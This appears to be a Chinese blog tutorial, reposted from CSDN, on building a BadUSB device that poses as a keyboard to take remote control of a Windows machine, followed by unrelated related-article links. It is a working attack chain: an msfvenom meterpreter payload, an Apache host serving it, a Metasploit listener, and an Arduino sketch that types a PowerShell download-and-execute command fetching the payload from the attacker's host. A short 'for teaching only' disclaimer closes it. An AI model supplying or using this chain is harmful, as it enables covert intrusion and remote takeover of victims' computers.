利用badusb远程控制

简介: badusb大家应该都了解过,是利用伪造HID设备执行攻击载荷的一种攻击方式。HID设备一般指的是计算机直接与人交互的设备,例如键盘、鼠标等总的来说,就是将USB设备伪装成键盘设备,使目标主机被迫执行预置在固件中的恶意代码通常情况下都会把badusb制作成与U盘极其相似,且不会被受害者所察觉,badusb目前在淘宝有售,下面是详细的用badusb拿shell的过程

安装Arduino IDE
arduino ide是一款专业的arduino开发工具,主要用于arduino程序的编写和开发,拥有开放源代码的电路图设计、支持ISP在线烧,同时支持Flash、Max/Msp、VVVV、PD、C、Processing等多种程序兼容的特点

首先,官网下载Arduino IDE

下载好后进行安装,将badusb连接主机,配置环境

0x03 利用msf生成windows端木马
在msf中输入以下命令生成木马

msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f psh > 1.ps1
1

启动Apache2,将生成的1.ps1复制到/var/www/html中

service apache2 start
sudo cp 1.ps1 /var/www/html
1
2

进入监听模式

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp set LHOST 172.16.7.130
set LPORT 4321
run
1
2
3
4

0x04 烧录
可以取得开发板信息确定是否连接

在工具中选择开发板:ArduinoLeonardo
选择合适的端口
编程器选择:USBasp

当写入代码后,首先点击第一个按钮进行验证,当显示编译完成则可点击上传进行烧录

代码的编写我们可以借助Automator_2.0.1这款辅助软件,编写代码更加方便
软件:https://github.com/Catboy96/Automator

代码格式介绍:

setup() 函数
用来初始化变量、Pin模式、开始使用库等
每次打开或重置Arduino板后,setup()函数将只运行一次

loop() 函数
精确地执行其名称所建议的操作,并连续循环,从而允许程序更改和响应

//参考代码:

include<Keyboard.h> //包含键盘模块头文件

void setup(){ //初始化
Keyboard.begin();//开始键盘通信
delay(1000);//延时1000毫秒,
Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
Keyboard.press('r');//按下r键 CMD
delay(500);
Keyboard.release(KEY_LEFT_GUI);//松掉win键
Keyboard.release('r');//松掉r键
delay(500);
Keyboard.println("powershell IEX (New-Object Net.WebClient).DownloadString('http://XXX.XXX.XXX.XXX/1.ps1')");
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.end();//结束键盘通讯
}
void loop()//循环,这里的代码
{
//循环体
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0x05 测试
将烧录好的badusb插入目标主机后,目标主机会自动按下“win+r”键,并自动输入:
powershell IEX (New-Object Net.WebClient).DownloadString(‘http://172.16.7.130/1.ps1’)
拿shell成功!

本文章只用于教学,切勿用于非法用途
原文链接:https://blog.csdn.net/weixin_43211186/article/details/103870727

目录
相关文章
【MODBUS】libmodbus库从Modbus从站读取值
【MODBUS】libmodbus库从Modbus从站读取值
429 0
|
安全 算法 区块链
花无涯带你走进黑客世界之Tor洋葱网络
Tor本来是为用户提供匿名上网保护用户隐私的工具,但是对于一些用户来说,他们可以利用Tor的隐蔽性进行黑客攻击或非法交易活动。总结Tor的恶意应用主要表现在以下几方面。
588 0
|
计算机视觉
U盘使用技巧:U盘自动启运行应用程序(autorun.inf无法运行终极解决方案)
U盘使用技巧:U盘自动启运行应用程序(autorun.inf无法运行终极解决方案)
U盘使用技巧:U盘自动启运行应用程序(autorun.inf无法运行终极解决方案)
|
7月前
|
JavaScript 前端开发 API
JavaScript中通过array.map()实现数据转换、创建派生数组、异步数据流处理、复杂API请求、DOM操作、搜索和过滤等,array.map()的使用详解(附实际应用代码)
array.map()可以用来数据转换、创建派生数组、应用函数、链式调用、异步数据流处理、复杂API请求梳理、提供DOM操作、用来搜索和过滤等,比for好用太多了,主要是写法简单,并且非常直观,并且能提升代码的可读性,也就提升了Long Term代码的可维护性。 只有锻炼思维才能可持续地解决问题,只有思维才是真正值得学习和分享的核心要素。如果这篇博客能给您带来一点帮助,麻烦您点个赞支持一下,还可以收藏起来以备不时之需,有疑问和错误欢迎在评论区指出~
|
移动开发 前端开发 HTML5
Twaver-HTML5基础学习(8)拓扑元素(Element)_网元(Element)、节点(Node)
本文介绍了Twaver HTML5中的拓扑元素(Element),包括网元(Element)、节点(Node)和连线(Link)的基本概念和使用方法。文章详细解释了Element的属性和方法,并通过示例代码展示了如何在React组件中创建节点、设置节点属性和样式。
277 1
Twaver-HTML5基础学习(8)拓扑元素(Element)_网元(Element)、节点(Node)
|
消息中间件 JSON 自然语言处理
Python多进程日志以及分布式日志的实现方式
python日志模块logging支持多线程,但是在多进程下写入日志文件容易出现下面的问题: PermissionError: [WinError 32] 另一个程序正在使用此文件,进程无法访问。 也就是日志文件被占用的情况,原因是多个进程的文件handler对日志文件进行操作产生的。
|
域名解析 缓存 网络协议
什么是DNS枚举?
【4月更文挑战第10天】
331 8
什么是DNS枚举?